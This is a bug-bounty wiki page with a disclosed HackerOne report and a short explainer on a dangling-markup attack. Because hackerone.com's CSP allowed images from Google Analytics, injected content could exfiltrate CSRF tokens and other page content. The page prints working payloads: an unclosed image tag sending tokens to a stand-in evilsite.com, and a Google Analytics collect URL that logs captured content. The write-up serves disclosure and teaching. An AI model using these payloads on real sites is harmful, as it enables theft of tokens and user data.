Skip to content
XSS Disclosed report Intermediate

Google Analytics could be used as CSP bypass for data exfiltration on hackerone.com

The Content Security Policy on hackerone.com allowed images from Google Analytics, which hosts user content. An attacker could inject an unclosed image tag pointing to a Google Analytics endpoint, causing subsequent page content (including CSRF tokens) to be sent to the attacker's Google Analytics account.

aaron_costello Follow

Originally disclosed on HackerOne

  • Triaged in 3 hours
  • Fixed in 9 hours
  • Paid in 35 days
  • Disclosed after 2 months

Greetings, I believe I may have found a way to bypass CSP on hackerone.com

The issue lies here:

img-src 'self' data: www.google-analytics.com

As you can imagine, how can image tags be used maliciously here to this safe site? Well, as you know, on google-analytics.com we have the ability to host user content.

Before we get into that, lets look at how image tags are processed. Consider the following injected content:

{{media:0}}

<input type="hidden" name="csrf_token" value="some_csrf_token_value">
</form>

The resulting image element will send a request to https://evilsite.com/steal_csrf_token?html=/log_csrf?html=...some_csrf_token_value....

As a result, an attacker can leverage this dangling markup attack to exfiltrate CSRF tokens to a site of their choosing.

The issue

First take a look at Google Analytics. Imagine a content injection that looks something like:

< injection point >
<p>secret</p>

The Google Analytics’ ea parameter is used to log event actions and can contain arbitrary strings. An attacker could setup a Google Analytics account and then inject an image referencing their account:

<img src='https://www.google-analytics.com/collect?v=1&tid=UA-55300588-1&cid=3121525717&t=event&ec=email&el=2111515817&cs=newsletter&cm=email&cn=062413&cm1=1&ea=
<p>secret</p>

This results in the following request, logging “secret” to their account:

https://www.google-analytics.com/collect?v=1&tid=UA-77300477-1&cid=2111515817&t=event&ec=email&el=2111515817&cs=newsletter&cm=email&cn=062413&cm1=1&ea=%3Cp%3Esecret%3C/p%3E

The solution

Swap from using their image based system to an XHR based approach (https://developers.google.com/analytics/devguides/collection/analyticsjs/sending-hits#specifying_different_transport_mechanisms)

The original report as published on HackerOne, by aaron_costello. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CSP allowed images from a third-party service that hosts user-controlled content, enabling a dangling markup attack to exfiltrate data.

What the attacker needed

Ability to inject HTML into a page; a Google Analytics account

The fix

Use an XHR-based approach for Google Analytics instead of image tags.

How it was found

  1. Set up a Google Analytics account to receive logged events.
  2. Inject an image tag with an unclosed quote pointing to the Google Analytics collect endpoint.
  3. The unclosed quote captures subsequent page content, including sensitive tokens.
  4. The browser sends the captured content to Google Analytics, logging it to the attacker's account.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website can use a security rule called CSP to say which other sites it trusts to load images or scripts. Here, the site trusted Google Analytics, which lets anyone create an account and store data. By injecting a broken image tag, an attacker could make the browser send secret tokens from the page to that Google Analytics account.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by aaron_costello

View all

5 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.